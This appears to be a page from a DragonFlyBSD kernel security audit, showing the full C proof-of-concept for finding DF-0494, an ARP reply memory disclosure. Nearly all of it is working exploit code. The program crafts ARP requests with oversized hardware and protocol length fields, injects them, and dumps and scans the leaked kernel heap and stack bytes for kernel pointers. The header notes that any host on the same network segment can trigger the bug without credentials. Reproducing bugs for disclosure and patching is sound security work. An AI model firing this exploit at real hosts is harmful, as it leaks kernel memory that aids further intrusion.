DragonFlyBSD Kernel Audit
DF-0494 / arp_leak.c
← back to finding ↓ download raw
/*
 * DF-0494 - Remote unauthenticated kernel heap+stack memory disclosure
 * via ARP reply using attacker-controlled ar_hln/ar_pln.
 *
 * Trigger: send a crafted ARP REQUEST with oversized ar_hln (and/or ar_pln)
 * to a victim on the same L2 segment.  The victim kernel's in_arpreply()
 * (sys/netinet/if_ether.c) uses ar_hln/ar_pln as memcpy() lengths when
 * copying from a 6-byte source (IF_LLADDR, the interface MAC) and a 4-byte
 * source (&taddr, a stack in_addr_t), over-reading adjacent kernel heap /
 * stack bytes into the ARP reply mbuf, which it then transmits to us.
 *
 * THREAT MODEL / REPRO HARNNESS
 * -----------------------------
 * The real bug is remotely exploitable by any host sharing L2 with the
 * victim -- it just sends one raw Ethernet/ARP frame and reads the reply.
 * No credentials, no session.  Locally we cannot reach the victim's RX path
 * through QEMU's user-mode (slirp) network, so we simulate "the wire" with a
 * tap(4) interface that the victim kernel owns (tap0 has a private IP).
 * Writing a frame to /dev/tap0 == a frame arriving on the wire (ingress ->
 * tap if_input -> ether_input -> arpintr).  Reading /dev/tap0 == a frame the
 * kernel emitted (egress).  This faithfully reproduces the remote attacker:
 * the kernel processes our crafted ARP exactly as it would a real one.
 *
 * The local root requirement is ONLY for creating tap0 + opening the char
 * device -- it is a property of the test harness, not of the vulnerability
 * (a real remote attacker needs no privilege at all).
 *
 * Build:  cc -O2 -o arp_leak arp_leak.c
 * Setup:  ifconfig tap0 create up inet 10.99.99.1 netmask 255.255.255.0
 * Run:    ./arp_leak [ar_hln=200] [ar_pln=200]
 */

#include <sys/types.h>
#include <sys/select.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <net/ethernet.h>
#include <net/if_arp.h>
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define TAPDEV  "/dev/tap0"
#define VICTIM_IP  "10.99.99.1"   /* assigned to tap0 by the setup script */
#define ATTACKER_IP "10.99.99.2"  /* any IP != victim IP */

static const unsigned char attacker_mac[6] = {0x02,0x00,0xde,0xad,0xbe,0xef};
static const unsigned char bcast_mac[6]    = {0xff,0xff,0xff,0xff,0xff,0xff};

static void
hexdump(const char *label, const unsigned char *p, int n, int legit)
{
    printf("---- %s (%d bytes; bytes [%d..%d] are the OOB leak) ----\n",
           label, n, legit, n-1);
    for (int i = 0; i < n; i += 16) {
        printf("  %04x: ", i);
        for (int j = 0; j < 16 && i + j < n; j++) printf("%02x ", p[i + j]);
        printf(" |");
        for (int j = 0; j < 16 && i + j < n; j++) {
            unsigned char c = p[i + j];
            putchar((c >= 32 && c < 127) ? c : '.');
        }
        printf("|\n");
    }
}

static void
scan_kptr(const char *tag, const unsigned char *p, int n, int skip)
{
    int found = 0;
    /* 8-byte aligned scan for canonical kernel addresses (0xffff8000_00000000
       and above on x86-64 kernel space).  Also flag any 0xffffffff80???????). */
    for (int i = skip; i + 8 <= n; i++) {
        unsigned long v;
        memcpy(&v, p + i, 8);
        if ((v & 0xffff000000000000UL) == 0xffff000000000000UL && v != 0xffffffffffffffffUL) {
            printf("    %s +%3d (abs %3d): 0x%016lx\n", tag, i - skip, i, v);
            found++;
            i += 7;
        }
    }
    if (!found)
        printf("    %s : (no canonical kernel pointer pattern in leak)\n", tag);
}

int
main(int argc, char **argv)
{
    int hln = (argc > 1) ? atoi(argv[1]) : 200;
    int pln = (argc > 2) ? atoi(argv[2]) : 200;
    if (hln <= 0 || hln > 255 || pln <= 0 || pln > 255)
        errx(1, "hln/pln must be 1..255");

    int fd = open(TAPDEV, O_RDWR);
    if (fd < 0)
        err(1, "open %s", TAPDEV);

    /* non-blocking so we can drain stray frames (IPv6 ND, etc.) and poll. */
    int fl = fcntl(fd, F_GETFL, 0);
    if (fl < 0 || fcntl(fd, F_SETFL, fl | O_NONBLOCK) < 0)
        err(1, "fcntl O_NONBLOCK");

    int arplen  = 8 + 2 * hln + 2 * pln;   /* arphdr_len(ar) */
    int framelen = 14 + arplen;
    if (framelen > 1500)
        errx(1, "frame %d bytes exceeds tap0 mtu 1500", framelen);

    unsigned char *frame = calloc(1, framelen);
    if (!frame) err(1, "calloc");

    /* --- Ethernet header --- */
    memcpy(frame + 0, bcast_mac, 6);      /* broadcast ARP REQUEST */
    memcpy(frame + 6, attacker_mac, 6);   /* attacker's (forged) source MAC */
    frame[12] = 0x08; frame[13] = 0x06;   /* ETHERTYPE_ARP */

    /* --- ARP body --- */
    unsigned char *arp = frame + 14;
    arp[0] = 0x00; arp[1] = 0x01;         /* ar_hrd = ARPHRD_ETHER */
    arp[2] = 0x08; arp[3] = 0x00;         /* ar_pro = ETHERTYPE_IP */
    arp[4] = (unsigned char)hln;          /* ar_hln (oversized -> the bug) */
    arp[5] = (unsigned char)pln;          /* ar_pln (oversized -> the bug) */
    arp[6] = 0x00; arp[7] = 0x01;         /* ar_op = ARPOP_REQUEST */

    /* ar_sha @ offset 8 (hln bytes): attacker MAC, then a recognisable
     * filler so we can confirm the reply's ar_tha echoes our request. */
    memcpy(arp + 8, attacker_mac, 6);
    for (int i = 6; i < hln; i++) arp[8 + i] = 0xCC;

    /* ar_spa @ offset 8+hln (pln bytes): attacker IP, then filler */
    struct in_addr spa;
    inet_aton(ATTACKER_IP, &spa);
    memcpy(arp + 8 + hln, &spa, 4);
    for (int i = 4; i < pln; i++) arp[8 + hln + i] = 0xDD;

    /* ar_tha @ offset 8+hln+pln (hln bytes): left as 0x00 */

    /* ar_tpa @ offset 8+2*hln+pln (pln bytes): VICTIM IP -- must equal a
     * local IP on tap0 so in_arpinput() reaches the reply path. */
    struct in_addr tpa;
    inet_aton(VICTIM_IP, &tpa);
    memcpy(arp + 8 + 2 * hln + pln, &tpa, 4);

    printf("=== DF-0494 ARP ar_hln/ar_pln OOB-read PoC ===\n");
    printf("ar_hln=%d ar_pln=%d  arp_body=%d  frame=%d  victim_ip=%s\n",
           hln, pln, arplen, framelen, VICTIM_IP);
    printf("[*] injecting crafted ARP REQUEST via %s (ingress)\n", TAPDEV);

    /* drain any queued egress frames (IPv6 ND noise, stale replies) */
    {
        unsigned char junk[4096];
        int drained = 0;
        while (read(fd, junk, sizeof(junk)) > 0) drained++;
        if (drained) printf("[*] drained %d stray egress frame(s) (ipv6 nd/etc.)\n", drained);
    }

    ssize_t w = write(fd, frame, framelen);
    if (w != framelen) err(1, "write returned %zd", w);
    printf("[+] injected %zd bytes\n", w);

    /* --- capture the reply (egress on tap0); accept only ARP REPLY --- */
    unsigned char rbuf[4096];
    ssize_t got = -1;
    int total_ms = 4000, step_ms = 20;
    int seen_frames = 0;
    const char *dbg = getenv("DF_DEBUG");
    for (int ms = 0; ms < total_ms && got < 0; ms += step_ms) {
        fd_set rfds; struct timeval tv;
        FD_ZERO(&rfds); FD_SET(fd, &rfds);
        tv.tv_sec = 0; tv.tv_usec = step_ms * 1000;
        int s = select(fd + 1, &rfds, NULL, NULL, &tv);
        if (s > 0 && FD_ISSET(fd, &rfds)) {
            ssize_t n = read(fd, rbuf, sizeof(rbuf));
            if (n <= 0) continue;
            seen_frames++;
            if (dbg) {
                unsigned short et = (rbuf[12] << 8) | rbuf[13];
                printf("[dbg] frame#%d %zd bytes  ether_type=0x%04x  dst=%02x:%02x:%02x:%02x:%02x:%02x\n",
                       seen_frames, n, et,
                       rbuf[0],rbuf[1],rbuf[2],rbuf[3],rbuf[4],rbuf[5]);
            }
            if (n <= 14 + 8) continue;            /* too short, skip */
            if (rbuf[12] != 0x08 || rbuf[13] != 0x06) continue;  /* not ARP */
            unsigned char *a = rbuf + 14;
            int op = (a[6] << 8) | a[7];
            if (dbg) printf("[dbg]   ARP ar_op=0x%04x ar_hln=%d ar_pln=%d\n", op, a[4], a[5]);
            if (op != 2) continue;                 /* not a REPLY */
            got = n;                               /* this is our reply */
            break;
        }
    }
    if (dbg) printf("[dbg] total egress frames seen in window: %d\n", seen_frames);
    if (got <= 0) {
        printf("[!] NO REPLY captured (this is the FIXED/patched behaviour)\n");
        close(fd);
        return 2;
    }

    printf("[+] captured reply frame: %zd bytes\n", got);
    if (got < 14 + 8) errx(3, "reply too short (%zd)", got);

    unsigned char *eh = rbuf;
    unsigned char *rarp = rbuf + 14;
    printf("[*] reply ether-dst = %02x:%02x:%02x:%02x:%02x:%02x  (== attacker mac)\n",
           eh[0],eh[1],eh[2],eh[3],eh[4],eh[5]);
    printf("[*] reply ether-src = %02x:%02x:%02x:%02x:%02x:%02x  (== tap0 real mac)\n",
           eh[6],eh[7],eh[8],eh[9],eh[10],eh[11]);
    int rop  = (rarp[6] << 8) | rarp[7];
    int rhln = rarp[4];
    int rpln = rarp[5];
    printf("[*] reply ar_op=0x%04x (%s)  ar_hln=%d  ar_pln=%d\n",
           rop, rop == 2 ? "REPLY" : "NOT-REPLY(!)", rhln, rpln);
    if (rop != 2) errx(4, "did not get an ARP REPLY");

    /* The heap leak lives in the reply's ar_sha field: in_arpreply() does
     * memcpy(ar_sha(ah), enaddr=IF_LLADDR(ifp), ah->ar_hln).  enaddr points
     * at the 6-byte MAC inside a sockaddr_dl; reading ar_hln bytes walks
     * past it into adjacent kernel heap.  Bytes [0..5] = real MAC; bytes
     * [6..rhln-1] = OOB heap leak. */
    int have_heap = rhln - 6;
    printf("\n[#####] HEAP LEAK (ar_sha, %d OOB bytes past 6-byte MAC) [#####]\n",
           have_heap > 0 ? have_heap : 0);
    hexdump("reply ar_sha region [memcpy(ar_sha, IF_LLADDR, ar_hln)]",
            rarp + 8, rhln, 6);
    if (have_heap > 0) {
        printf("  -- kernel-pointer scan in heap leak --\n");
        scan_kptr("heap", rarp + 8, rhln, 6);
    }

    /* The stack leak lives in the reply's ar_spa field: in_arpreply() does
     * memcpy(ar_spa(ah), &taddr, ah->ar_pln).  &taddr is a 4-byte in_addr_t
     * on in_arpreply()'s stack; reading ar_pln bytes walks past it into the
     * stack frame.  Bytes [0..3] = victim IP; bytes [4..rpln-1] = OOB stack. */
    int have_stack = rpln - 4;
    printf("\n[#####] STACK LEAK (ar_spa, %d OOB bytes past 4-byte &taddr) [#####]\n",
           have_stack > 0 ? have_stack : 0);
    hexdump("reply ar_spa region [memcpy(ar_spa, &taddr, ar_pln)]",
            rarp + 8 + rhln, rpln, 4);
    if (have_stack > 0) {
        printf("  -- kernel-pointer scan in stack leak --\n");
        scan_kptr("stack", rarp + 8 + rhln, rpln, 4);
    }

    /* sanity: reply ar_tha should echo our request ar_sha (attacker mac +
     * 0xCC filler) -- proves the mbuf was reused end-to-end. */
    printf("\n[*] reply ar_tha (should echo attacker mac + 0xCC filler):\n     ");
    for (int i = 0; i < rhln && i < 16; i++) printf("%02x ", rarp[8 + rhln + rpln + i]);
    printf("...\n");

    printf("\n[+] DF-0494 REPRODUCED: victim returned %d heap OOB bytes + %d stack OOB bytes\n",
           have_heap > 0 ? have_heap : 0,
           have_stack > 0 ? have_stack : 0);

    close(fd);
    return 0;
}